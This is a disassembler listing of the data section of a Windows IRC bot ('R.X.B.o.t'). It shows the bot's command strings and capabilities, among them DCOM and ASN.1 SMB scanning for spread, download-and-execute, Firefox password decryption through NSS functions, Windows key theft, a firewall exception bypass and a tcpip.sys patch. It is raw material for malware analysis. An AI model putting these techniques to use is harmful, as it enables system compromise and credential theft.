dword_4191C0	dd 77E6D706h		; DATA XREF: sub_40F6D4+2Er
					; sub_416308+1F5r
dword_4191C4	dd 77E6177Ah		; DATA XREF: .text:0040F9AFr
					; sub_410364+57r
dword_4191C8	dd 77E7C938h		; DATA XREF: .text:loc_40F95Er
dword_4191CC	dd 77E7C931h		; DATA XREF: sub_410364+19Cr
dword_4191D0	dd 77E79C3Dh		; DATA XREF: sub_410364+157r
					; sub_4144B2+154r
		align 8
dword_4191D8	dd 77428B97h		; DATA XREF: sub_40198E+1EBCr
					; sub_4056A2+2EDr
		align 10h
dword_4191E0	dd 77D4C96Ah		; DATA XREF: .text:00409826r
					; .text:004098A4r
dword_4191E4	dd 77D4BDCAh		; DATA XREF: sub_408995+Dr
dword_4191E8	dd 77D4702Fh		; DATA XREF: sub_408995+58r
		align 10h
dword_4191F0	dd 77C015E3h		; DATA XREF: sub_417CBCr
dword_4191F4	dd 77C0162Dh		; DATA XREF: sub_417CB6r
dword_4191F8	dd 77C0167Dh		; DATA XREF: sub_417CB0r
		align 10h
dword_419200	dd 76214750h		; DATA XREF: sub_4056A2+3Ar
dword_419204	dd 7620BD61h		; DATA XREF: sub_4056A2+108r
dword_419208	dd 76204E4Dh		; DATA XREF: sub_4056A2+486r
dword_41920C	dd 7620AFB6h		; DATA XREF: sub_404BAB+3Br
		dd 0
dword_419214	dd 71AB1890h		; DATA XREF: sub_40BEF1+4Cr
dword_419218	dd 71AB1B7Bh		; DATA XREF: sub_40D60Ar
dword_41921C	dd 71AB1746h		; DATA XREF: sub_40A29B+19Fr
					; sub_40A29B+1B1r
dword_419220	dd 71AB155Ah		; DATA XREF: sub_409EEB+6Er
dword_419224	dd 71AB5690h		; DATA XREF: sub_40CA59+6Cr
					; sub_40CCB2+18r
dword_419228	dd 71AB8629h		; DATA XREF: .text:0040D2FEr
dword_41922C	dd 71AB157Eh		; DATA XREF: sub_408CE6+27r
					; sub_40A610+B1r
dword_419230	dd 71AB41DAh		; DATA XREF: sub_404BAB+3F5r
dword_419234	dd 71AB1746h		; DATA XREF: sub_404901+46r
					; sub_40CA59+35r
dword_419238	dd 71AB3C22h		; DATA XREF: sub_404901+A9r
					; sub_409EEB+52r ...
dword_41923C	dd 71AB3E5Dh		; DATA XREF: sub_404901+C2r
					; sub_409EEB+88r ...
dword_419240	dd 71AB1A6Dh		; DATA XREF: sub_404901+CEr
					; sub_404901+25Cr ...
dword_419244	dd 71AB1836h		; DATA XREF: sub_40198E+1504r
					; sub_404BAB:loc_4051E1r ...
dword_419248	dd 71AB12F8h		; DATA XREF: sub_40198E+1F12r
					; sub_404901+57r ...
dword_41924C	dd 71ABD755h		; DATA XREF: sub_40198E+1F28r
					; sub_404901+7Cr
dword_419250	dd 71AB2BBFh		; DATA XREF: sub_40198E+1F37r
					; sub_404901+6Cr
dword_419254	dd 71AB401Ch		; DATA XREF: sub_40198E+1F48r
					; sub_40A29B+1E3r ...
dword_419258	dd 71AB1AF4h		; DATA XREF: sub_401073+D9r
					; sub_401179+D1r ...
		align 10h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: .text:0041E0ACo
					; .text:0041E0D4o
aDcom135	db 'dcom135',0          ; DATA XREF: .text:0041E0A4o
aAsn1smb	db 'asn1smb',0          ; DATA XREF: .text:off_41E09Co
aR_x_b_o_t	db 'R.X.B.o.t',0        ; DATA XREF: .text:0041E0A0o
					; .text:0041E0A8o
		align 4
aPrivmsgST3rmin	db 'PRIVMSG %s :T3rmina3d and del3t3d %s',0Ah,0 ; DATA XREF: sub_401073+BDo
		align 4
aServices_exe	db 'SERVICES.EXE',0     ; DATA XREF: sub_4012BA+46o
					; sub_40151D+46o
		align 4
aWinlogon_exe	db 'WINLOGON.EXE',0     ; DATA XREF: sub_4012BA+3Fo
					; sub_40151D+3Fo
		align 4
aHidserv_exe	db 'hidserv.exe',0      ; DATA XREF: sub_4012BA+38o
					; sub_40151D+38o
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4012BA+31o
					; sub_40151D+31o ...
		align 4
aFailedToStar_3	db 'Failed to start worker thread, error: <%d>.',0
					; DATA XREF: .text:0041E0CCo
aBotkiller	db 'Botkiller',0        ; DATA XREF: .text:0041E0C4o
		align 10h
aTooManySpecifi	db 'Too many specified.',0 ; DATA XREF: sub_40198E+197Co
					; .text:off_41E0BCo
aFound		db 'Found',0            ; DATA XREF: .text:0041E0B8o
					; .text:0041E0C0o ...
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found string "%s" in "%s" ',0Ah ; DATA XREF: sub_4013E5+CDo
		db 0Ah,0
		align 4
dword_419388	dd 0			; DATA XREF: sub_40198E+70Bo
					; sub_408EF0+27o ...
a@r00t		db '*@r00t',0           ; DATA XREF: .text:off_41E300o
		align 4
aS_4:					; DATA XREF: sub_40198E+6D3o
		unicode	0, <>,0
aAu		db 'au',0               ; DATA XREF: sub_40198E+22CCo
		align 4
aDu		db 'du',0               ; DATA XREF: sub_40198E+2505o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_40198E+E1Fo
		align 4
aFind_0		db 'find',0             ; DATA XREF: sub_40198E+2774o
		align 10h
aFind		db 'FIND',0             ; DATA XREF: sub_40198E+18E8o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40198E+1513o
		align 10h
aT:					; DATA XREF: sub_40198E+12A0o
		unicode	0, <t>,0
aProcs		db 'procs',0            ; DATA XREF: sub_40198E+1553o
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_40198E+1EA1o
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_40198E+145Fo
		align 4
aInfo		db 'info',0             ; DATA XREF: sub_40198E+11FEo
		align 4
aDriver		db 'driver',0           ; DATA XREF: sub_40198E+149Do
		align 4
asc_4193EC:				; DATA XREF: sub_40198E+14CDo
		unicode	0, <>,0
aDie		db 'die',0              ; DATA XREF: sub_40198E+DEDo
aNick_0		db 'nick',0             ; DATA XREF: sub_40198E+1D44o
		align 4
aJ:					; DATA XREF: sub_40198E+1D6Do
		unicode	0, <j>,0
aP:					; DATA XREF: sub_40198E+1D8Eo
		unicode	0, <p>,0
aR:					; DATA XREF: sub_40198E+1DA7o
		unicode	0, <r>,0
aHttp		db 'http',0             ; DATA XREF: sub_40198E+FD7o
		align 10h
aRnick		db 'rnick',0            ; DATA XREF: sub_40198E+C85o
		align 4
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_40198E+118Fo
		align 4
aR_e_c_o_n_n_e_	db 'R.e.c.o.n.n.e.c.t',0 ; DATA XREF: sub_40198E+F28o
		align 4
aD_i_s_c_o_n_n_	db 'd.i.s.c.o.n.n.e.c.t',0 ; DATA XREF: sub_40198E+F51o
aLeave		db 'leave',0            ; DATA XREF: sub_40198E+F7Bo
		align 4
aLog		db 'log',0              ; DATA XREF: sub_40198E+1416o
aKillth		db 'killth',0           ; DATA XREF: sub_40198E+1DE3o
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_40198E+1F01o
aKillproc	db 'killproc',0         ; DATA XREF: sub_40198E+1801o
		align 10h
aKillid		db 'killid',0           ; DATA XREF: sub_40198E+1870o
		align 4
aMircmd		db 'mIRCMD',0           ; DATA XREF: sub_40198E+1F8Fo
		align 10h
aPm		db 'pm',0               ; DATA XREF: sub_40198E+2026o
		align 4
aAct		db 'act',0              ; DATA XREF: sub_40198E+2075o
aCyc		db 'cyc',0              ; DATA XREF: sub_40198E+20E4o
aMode		db 'mode',0             ; DATA XREF: sub_40198E+2152o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_40198E+218Co
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_40198E+2227o
		align 4
aExe		db 'exe',0              ; DATA XREF: sub_40198E+2451o
aSn		db 'sn',0               ; DATA XREF: sub_40198E+1698o
		align 4
aGftp		db 'gftp',0             ; DATA XREF: sub_40198E+EAFo
		align 4
aSftp		db 'sftp',0             ; DATA XREF: sub_40198E+2D7Do
		align 4
aWinkey		db 'winkey',0           ; DATA XREF: sub_40198E+CDDo
		align 4
aFirefox	db 'firefox',0          ; DATA XREF: sub_40198E+11C9o
aPst		db 'pst',0              ; DATA XREF: sub_40198E+13A4o
aSkybye		db 'skybye',0           ; DATA XREF: sub_40198E+2664o
		align 4
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0 ; DATA XREF: sub_401648+5Eo
		align 10h
aS		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4016B8+25o
					; sub_40B1D5+F0o
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4017B6+3Co
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4017B6+2Ao
					; sub_40198E+617o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_4017B6+23o
					; sub_40198E+1E7o ...
		align 4
aSS		db '%s%s',0             ; DATA XREF: sub_401822+110o
					; sub_404BAB+181o ...
		align 4
aSSS_0		db '%s%s%s',0           ; DATA XREF: sub_401822+F0o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40198E+2DF3o
		align 4
aFailedErrorD_	db 'Failed, error: <%d>.',0 ; DATA XREF: sub_40198E+2D0Do
		align 4
aSScann3rOnSDDS	db '%s Scann3r on %s:%d %d secs %d mins %d threads.',0
					; DATA XREF: sub_40198E+2CB4o
aNoIp_		db 'no IP.',0           ; DATA XREF: sub_40198E:loc_4043E5o
		align 4
aP0rtIsInvalid_	db 'p0rt is invalid.',0 ; DATA XREF: sub_40198E+28E9o
		align 4
aDTooManyShit_	db '%d Too Many Shit.',0 ; DATA XREF: sub_40198E+27FBo
		align 4
aFailedToStar_2	db 'Failed to start: <%d>.',0 ; DATA XREF: sub_40198E+273Do
		align 4
aStartingSSForS	db 'Starting: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_40198E+26E1o
		align 4
aFailedToStartT	db 'Failed to start transfer, error: <%d>.',0 ; DATA XREF: sub_40198E+2622o
		align 10h
aGettingUrlSToS	db 'Getting URL: %s to: %s.',0 ; DATA XREF: sub_40198E+25C3o
aCouldnTExecute	db 'couldn',27h,'t execute file.',0 ; DATA XREF: sub_40198E+24E3o
		align 10h
aShitMustBeDiff	db 'SHit must be different than current running process.',0
					; DATA XREF: sub_40198E:loc_403DCCo
		align 4
aFailedToStartD	db 'Failed to start download thread, error: <%d>.',0
					; DATA XREF: sub_40198E+2416o
		align 4
aGettingUpdateF	db 'Getting Update From: %s.',0 ; DATA XREF: sub_40198E+23B7o
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40198E+2333o
		align 10h
aSSSS_0		db '%s %s %s :%s',0     ; DATA XREF: sub_40198E+21E5o
					; sub_40198E+2280o
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40198E+217Fo
		align 4
dword_4196EC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40198E+20BEo
dword_4196F8	dd 6D6D6F43h, 20646E61h, 746E6573h, 2Eh	; DATA XREF: sub_40198E:loc_403961o
aClientNotOpen_	db 'Client not open.',0 ; DATA XREF: sub_40198E+1FCCo
		align 4
aCouldNotResolv	db 'could not resolve host',0 ; DATA XREF: sub_40198E+1F84o
		align 4
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_40198E+1F56o
		align 10h
aCouldnTOpenFil	db 'couldn',27h,'t open file.',0 ; DATA XREF: sub_40198E+1EF9o
aFileOpened_	db 'file opened.',0     ; DATA XREF: sub_40198E+1ED2o
		align 4
aOpen_0		db 'open',0             ; DATA XREF: sub_40198E+1EB6o
					; sub_4056A2+2E7o
		align 4
aFail3dToKiThre	db 'Fail3d to ki|| thread: %s.',0 ; DATA XREF: sub_40198E:loc_4037E8o
		align 4
aKilledThreadS_	db 'Killed thread: %s.',0 ; DATA XREF: sub_40198E+1E53o
		align 4
aNoActiveThread	db 'No active threads found.',0 ; DATA XREF: sub_40198E:loc_4037AAo
		align 4
aStoppedDThread	db 'Stopped: %d thread(s).',0 ; DATA XREF: sub_40198E+1E12o
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_40198E+1DF8o
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_40198E+1D9Fo
					; sub_40198E+210Fo
		align 10h
aP0rtInvalid_	db 'p0rt invalid.',0    ; DATA XREF: sub_40198E:loc_4036C5o
		align 10h
aCanNotStartSca	db 'Can not start scanner',0 ; DATA XREF: sub_40198E+1CCEo
		align 4
aSScannerOnSDDe	db '%s Scanner on %s:%d delay %d %d mins %d threads.',0
					; DATA XREF: sub_40198E+1C76o
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40198E+1C4Bo
					; sub_40198E+2C89o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_40198E+1C44o
					; sub_40198E+2C82o
		align 10h
aS_0		db '%s',0               ; DATA XREF: sub_40198E+1B7Co
					; sub_40198E+29D3o ...
		align 8
dbl_419858	dq 2.56e2		; DATA XREF: sub_40198E+1B54r
					; sub_40198E+2991r ...
dbl_419860	dq 3.0517578125e-5	; DATA XREF: sub_40198E+1B4Er
					; sub_40198E+298Br ...
dword_419868	dd 252E6425h, 64252E64h, 64252Eh ; DATA	XREF: sub_40198E+1B35o
					; sub_40198E+2961o ...
aFailedToKiPr_0	db 'Failed to ki|| process ID: %s',0 ; DATA XREF: sub_40198E:loc_403231o
		align 4
aProcessKilledI	db 'Process killed ID: %s',0 ; DATA XREF: sub_40198E+189Co
		align 4
aFailedToKiProc	db 'Failed to ki|| process: %s',0 ; DATA XREF: sub_40198E:loc_4031C4o
		align 4
aProcessKilledS	db 'Process killed: %s',0 ; DATA XREF: sub_40198E+182Fo
		align 4
aNoShitThreadFo	db 'No Shit thread found.',0 ; DATA XREF: sub_40198E:loc_403158o
		align 4
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
					; DATA XREF: sub_40198E+17C3o
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40198E+17A4o
aFailedToStar_1	db 'Failed to start Shit thread, error: <%d>.',0
					; DATA XREF: sub_40198E+177Bo
word_41994E	dw 0			; DATA XREF: sub_40198E+16FDo
					; sub_40198E+1C07o ...
aOn		db 'on',0               ; DATA XREF: sub_40198E+16ADo
		align 4
aFailedToStar_0	db 'Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_40198E+1658o
		align 4
aProccessList_	db 'Proccess list.',0   ; DATA XREF: sub_40198E+15F9o
		align 4
aFull		db 'full',0             ; DATA XREF: sub_40198E+15D9o
		align 4
aAlreadyRunning	db 'Already running.',0 ; DATA XREF: sub_40198E+157Fo
					; sub_40198E+16CDo
		align 10h
aScanner	db 'Scanner',0          ; DATA XREF: sub_40198E+1531o
aScan		db 'Scan',0             ; DATA XREF: sub_40198E+152Co
		align 10h
aGoinToHellD	db 'Goin TO Hell :D',0  ; DATA XREF: sub_40198E+14E9o
aFailedToStartL	db 'Failed to start list thread, error: <%d>.',0
					; DATA XREF: sub_40198E+1379o
		align 4
aListThreads_	db 'List threads.',0    ; DATA XREF: sub_40198E+131Ao
		align 4
aSub		db 'sub',0              ; DATA XREF: sub_40198E+12F4o
dword_419A10	dd 42283403h, 4E495430h, 20294F46h, 76323103h, 69737265h
					; DATA XREF: sub_40198E+1274o
		dd 33A6E6Fh, 78655320h,	69685379h, 31032074h, 3A646932h
		dd 73252003h, 3103202Eh, 6C696632h, 6D616E65h, 20033A65h
		dd 202E7325h, 73323103h, 74726174h, 6E207075h, 3A656D61h
		dd 73252003h, 3103202Eh, 54505532h, 3A454D49h, 73252003h
		dd 2Eh
dword_419A78	dd 626557h		; DATA XREF: sub_40198E+11ADo
aServer		db 'Server',0           ; DATA XREF: sub_40198E+11A8o
		align 4
aFailedToStartS	db 'Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_40198E+1147o
aServerListenin	db 'Server listening on IP: http://%s:%d, Directory: %s\.',0
					; DATA XREF: sub_40198E+10E8o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40198E+FBCo
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40198E+F96o
		align 4
aQuitLater_0	db 'QUIT :later',0      ; DATA XREF: sub_40198E+F61o
aQuitReconnecti	db 'QUIT :reconnecting',0 ; DATA XREF: sub_40198E+F38o
		align 4
aCftpServerSPor	db 'CFTP server: %s, port: %d, user: %s, pass: %s, file: %s.',0
					; DATA XREF: sub_40198E+EDEo
		align 10h
aUserSLoggedO_0	db 'user %s logged out.',0Dh,0Ah,0 ; DATA XREF: sub_40198E+E62o
		align 4
aCouldnTFindKey	db 'Couldn',27h,'t find Key',0 ; DATA XREF: sub_40198E+DC1o
		align 4
aFindbot	db 'findbot',0          ; DATA XREF: sub_40198E+D78o
aKillbot	db 'killbot',0          ; DATA XREF: sub_40198E+D40o
aFoundKey_29s	db 'Found Key: %.29s',0 ; DATA XREF: sub_40198E+D19o
		align 10h
a63		db '63',0               ; DATA XREF: sub_40198E+B78o
		align 4
asc_419BB4:				; DATA XREF: sub_40198E+B59o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40198E+B28o
		align 10h
aServer_0	db '$server',0          ; DATA XREF: sub_40198E+B1Do
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40198E+B0Co
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40198E+AF4o
		align 4
aUser		db '$user',0            ; DATA XREF: sub_40198E+AE3o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_40198E+AD1o
aD		db '$%d',0              ; DATA XREF: sub_40198E+A6Fo
aD_0		db '$%d-',0             ; DATA XREF: sub_40198E+9D1o
		align 4
aUserSSLoggedIn	db 'user %s(%s) logged in.',0 ; DATA XREF: sub_40198E+8F7o
		align 4
aOkYouReHere_	db 'Ok You',27h,'re Here.',0 ; DATA XREF: sub_40198E+8D7o
dword_419C1C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40198E+869o
		dd 0A0Dh
dword_419C34	dd 4E495001h, 47h	; DATA XREF: sub_40198E+835o
dword_419C3C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40198E+82Ao
		dd 0D017325h, 0Ah
dword_419C58	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40198E+7FDo
dword_419C64	dd 23h			; DATA XREF: sub_40198E+771o
					; sub_40BB40+1Bo
aFailedAuthSS_	db '*failed auth %s(%s).',0 ; DATA XREF: sub_40198E+73Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40198E+640o
					; sub_40198E+921o ...
aJ0in3dChannelS	db 'j0in3d channel %s.',0 ; DATA XREF: sub_40198E+5A2o
		align 4
a353		db '353',0              ; DATA XREF: sub_40198E+565o
aQuit		db 'QUIT',0             ; DATA XREF: sub_40198E+527o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_40198E+516o
					; sub_40198E+5E8o
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40198E+4F2o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40198E+436o
		align 4
aNiceGameMrS	db 'Nice Game Mr %s!',0 ; DATA XREF: sub_40198E+40Co
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40198E+3ABo
					; sub_40198E+60Co
aUserSLoggedOut	db 'user %s logged out.',0 ; DATA XREF: sub_40198E+390o
					; sub_40198E+5CBo
aKick		db 'KICK',0             ; DATA XREF: sub_40198E+333o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40198E+2EEo
					; sub_40198E+CC2o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40198E+2ADo
a@:					; DATA XREF: sub_40198E+26Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40198E+25Ao
a005		db '005',0              ; DATA XREF: sub_40198E+245o
a001		db '001',0              ; DATA XREF: sub_40198E+230o
aPong		db 'pong',0             ; DATA XREF: sub_40198E+203o
		align 4
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40198E+1D4o
					; sub_40198E+3F2o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40198E+1AFo
					; sub_40198E+21Ao
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_40198E+19Do
		align 4
asc_419D48:				; DATA XREF: sub_40198E+18Eo
					; sub_40198E+6F9o
		unicode	0, <!>,0
asc_419D4C:				; DATA XREF: sub_40198E+9Do
					; sub_40198E+C2Do ...
		unicode	0, < >,0
asc_419D50	db ' :',0               ; DATA XREF: sub_40198E+7Bo
					; sub_40198E:loc_4022FEo
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40479E+5Eo
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40479E+35o
		align 4
aTcpipPatcher	db 'tcpip patcher!!',0  ; DATA XREF: sub_404901+1D1o
aSDriversTcpip_	db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_404901+186o
		align 4
aConnectedToS_	db 'connected to %s.',0 ; DATA XREF: sub_404901+114o
		align 4
aShitStarted_	db 'Shit started.',0    ; DATA XREF: sub_404BAB+4C6o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_404BAB+44Eo
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
		align 10h
aSEnabledS	db '%s:*:Enabled:%s',0  ; DATA XREF: sub_404BAB+432o
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_404BAB+344o
		align 4
aSDriversS	db '%s\drivers\%s',0    ; DATA XREF: sub_404BAB+20Eo
		align 4
aInsidetm	db 'InsideTm',0         ; DATA XREF: sub_404BAB+122o
		align 4
aCurrentuser	db 'CurrentUser',0      ; DATA XREF: sub_404BAB+ECo
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_404BAB+36o
					; sub_407D3E+8DEo
		align 10h
aBadUrlOrDnsErr	db 'Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_4056A2+43Eo
		align 4
aUpdateFailedEr	db 'Update failed: Error executing file: %s.',0 ; DATA XREF: sub_4056A2+430o
		align 4
aDownloaded_1fk	db 'Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
					; DATA XREF: sub_4056A2+387o
aOpenedS_	db 'Opened: %s.',0      ; DATA XREF: sub_4056A2+309o
aDownloaded_1fK	db 'Downloaded %.1f KB to %s @ %.1f KB/sec.',0 ; DATA XREF: sub_4056A2+290o
		align 10h
dbl_419F50	dq 9.765625e-4		; DATA XREF: sub_4056A2+25Fr
					; sub_4056A2:loc_405921r ...
dbl_419F58	dq 4.294967296e9	; DATA XREF: sub_4056A2+257r
					; sub_4056A2+279r ...
aFilesizeIsInco	db 'Filesize is incorrect: (%d != %d).',0 ; DATA XREF: sub_4056A2+1CFo
		align 4
aUpdateSDkbTran	db 'Update: %s (%dKB transferred).',0 ; DATA XREF: sub_4056A2:loc_40583Fo
		align 4
aFileDownloadSD	db 'File download: %s (%dKB transferred).',0 ; DATA XREF: sub_4056A2+196o
		align 4
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_4056A2+77o
aUnknown	db 'Unknown',0          ; DATA XREF: sub_405BB7:loc_405BFAo
aInvalid	db 'Invalid',0          ; DATA XREF: sub_405BB7:loc_405BF4o
aDisk		db 'Disk',0             ; DATA XREF: sub_405BB7:loc_405BEEo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_405BB7:loc_405BE8o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_405BB7:loc_405BE2o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_405BB7:loc_405BDCo
a?:					; DATA XREF: sub_405BB7+1Fo
		unicode	0, <?>,0
aFailed		db 'failed',0           ; DATA XREF: sub_405C48:loc_405D20o
					; sub_405D63+24o
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_405C48+6Co
		align 4
aSDriveSSDiskSL	db '%s Drive (%s): %s Disk, %s Lib, %s .',0 ; DATA XREF: sub_405D63+7Do
		align 4
aSDriveSShit_	db '%s Drive (%s): shit.',0 ; DATA XREF: sub_405D63+47o
		align 4
aA		db 'A:\',0              ; DATA XREF: sub_405E21:loc_405E55o
aSoftwareClient	db 'SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command'
					; DATA XREF: sub_405E94+Fo
		db 0
		align 4
asc_41A0AC:				; DATA XREF: sub_40600B+3Co
					; sub_406231+142o
		unicode	0, </>,0
aR_0:					; DATA XREF: sub_4060C7+Eo
					; sub_406231+B7o
		unicode	0, <r>,0
asc_41A0B4:				; DATA XREF: sub_406231+173o
		unicode	0, <=>,0
aPath		db 'path=',0            ; DATA XREF: sub_406231:loc_406340o
		align 10h
aNameDefault	db 'name=default',0     ; DATA XREF: sub_406231+F5o
		align 10h
aProfiles_ini	db '\profiles.ini',0    ; DATA XREF: sub_406231+A6o
		align 10h
asc_41A0E0:				; DATA XREF: sub_406231+7Eo
					; sub_40AB64+44o
		unicode	0, <\>,0
aApplicationDat	db 'Application Data\Mozilla\Firefox',0 ; DATA XREF: sub_406231+25o
		align 4
aPl_base64decod	db 'PL_Base64Decode',0  ; DATA XREF: sub_406425+166o
aPk11_checkuser	db 'PK11_CheckUserPassword',0 ; DATA XREF: sub_406425+11Bo
		align 10h
aPk11sdr_decryp	db 'PK11SDR_Decrypt',0  ; DATA XREF: sub_406425+109o
aPk11_authentic	db 'PK11_Authenticate',0 ; DATA XREF: sub_406425+F7o
		align 4
aPk11_freeslot	db 'PK11_FreeSlot',0    ; DATA XREF: sub_406425+E5o
		align 4
aPk11_getintern	db 'PK11_GetInternalKeySlot',0 ; DATA XREF: sub_406425+D3o
aNss_shutdown	db 'NSS_Shutdown',0     ; DATA XREF: sub_406425+C1o
		align 4
aNss_init	db 'NSS_Init',0         ; DATA XREF: sub_406425+B4o
		align 4
aSoftokn3_dll	db 'softokn3.dll',0     ; DATA XREF: sub_406425+58o
		align 4
aPlds4_dll	db 'plds4.dll',0        ; DATA XREF: sub_406425+47o
		align 4
aNspr4_dll	db 'nspr4.dll',0        ; DATA XREF: sub_406425+24o
		align 10h
aNss3_dll	db 'nss3.dll',0         ; DATA XREF: sub_406425+1Do
		align 4
aPlc4_dll	db 'plc4.dll',0         ; DATA XREF: sub_406425+18o
		align 4
asc_41A1D8:				; DATA XREF: sub_406676:loc_40671Bo
		unicode	0, <~>,0
asc_41A1DC:				; DATA XREF: sub_406761+200o
					; .text:00409980o ...
		unicode	0, <:>,0
aS_5		db '%s ',0              ; DATA XREF: sub_406761+13Co
a2d		db '#2d',0              ; DATA XREF: sub_406761+E2o
a2c		db '#2c',0              ; DATA XREF: sub_406761+C1o
aSignons2_txt	db '/signons2.txt',0    ; DATA XREF: sub_406761+22o
		align 4
aSignons_txt	db '/signons.txt',0     ; DATA XREF: sub_406761+Fo
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406C59+64Do
		align 8
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406C59+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoun_0	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406C59+61Do
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406C59+58Eo
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406C59+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406C59:loc_40717Co
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406C59+51Co
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406C59+476o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406C59+439o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406C59+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406C59:loc_407026o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406C59+3C6o
		align 4
aSS_2		db '%s%s/',0            ; DATA XREF: sub_406C59+379o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406C59+335o
					; sub_406C59+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
